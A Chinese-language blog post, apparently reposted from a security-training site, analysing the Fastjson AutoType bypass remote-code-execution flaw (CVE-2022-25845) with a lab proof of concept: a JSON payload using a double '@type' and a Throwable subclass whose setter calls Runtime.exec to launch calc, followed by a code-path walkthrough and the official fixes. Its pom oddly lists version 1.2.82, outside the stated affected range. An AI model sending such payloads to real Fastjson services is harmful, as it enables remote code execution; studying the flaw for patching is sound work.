漏洞簡介
Fastjson 代碼執行漏洞,該漏洞允許攻擊者繞過 Fastjson 中的"AutoTypeCheck"機制并實作遠程代碼執行
影響版本:1.2.80及以下版本,即<= 1.2.80
漏洞復現
我們利用 idea 創建 maven 專案 搭建漏洞環境,在 pom 檔案中添加
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.82</version>
</dependency>
創建檔案夾 com.example.fastjson
在下面添加兩個 java 檔案
package com.example.fastjson;
?
import java.io.IOException;
?
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
?
package com.example.fastjson;
import com.alibaba.fastjson.JSON;
?
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
?
運行 PocDemo
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
漏洞分析
AutoType
我們知道在 fastjson 1.2.25 后設定了 autoType 只有打開 autoType之后,fastjson 是基于內置黑名單來實作安全的,如此可能會造成安全風險,就是繞過黑名單
不開啟時,是基于白名單進行防護的,這個漏洞的產生就是未開啟 autoType 時產生的,
但是未開啟 autoType 時是基于白名單,是很難實作代碼執行的,所以我們就需要想辦法 Bypass AutoType 默認禁用策略,可以實作呼叫任意類
開啟 autoType 后,最終呼叫的是 config.checkAutoType
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
其中宣告了各種被黑名單列入的類,是通過十六進制來記錄各種類,可以在 fastjson-blacklist,看到具體類的名稱
Throwable
我們注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同樣呼叫了 checkAutoType
同時我們可以發現在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 會檢測目標類中是否屬于Throwable 的擴展,之后就會呼叫 ThrowableDeserializer.deserialize()
所以初步得出結論,如果目標類屬于 Throwable 的擴展類,就可以實作打開autoType的類似操作,去呼叫任何類
為了驗證這個猜測,我們修改一下檔案
package com.example.fastjson;
?
import java.io.IOException;
?
public class Poc extends Error {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
依然可以利用成功
繼續關注函式 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 會呼叫 createException 去創建反序列化函式
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException
最后還是在函式 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中實作了代碼執行
如此整個漏洞就分析完成了
漏洞修復
官方提供了以下四種修復方式
● 升級到最新版本1.2.83
● safeMode加固
● 升級到fastjson v2
● noneautotype版本
總結反思
整個漏洞的分析花了很多時間,根據參考文章 CVE-2022-25845 – Analyzing the Fastjson “Auto Type Bypass” RCE vulnerability 來來回回加斷點除錯了很久,對這個漏洞做一個自己的總結,在默認未開啟 AutoType 時,Fastjson 是基于白名單的獲取外部類,通過 搜索checkAutoType 發現ThrowableDeserializer#deserialze 中的呼叫,當然也不止這一處,只是這處能進一步的利用,通過滿足類屬于 Throwable 的擴展類就可以觸發,最后實作代碼執行,但是這個代碼在實際場景中的利用要求較為苛刻,首先滿足類是 Throwable 的擴展類,同時其中必須有危險的 set 方法,
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499981.html
標籤:其他
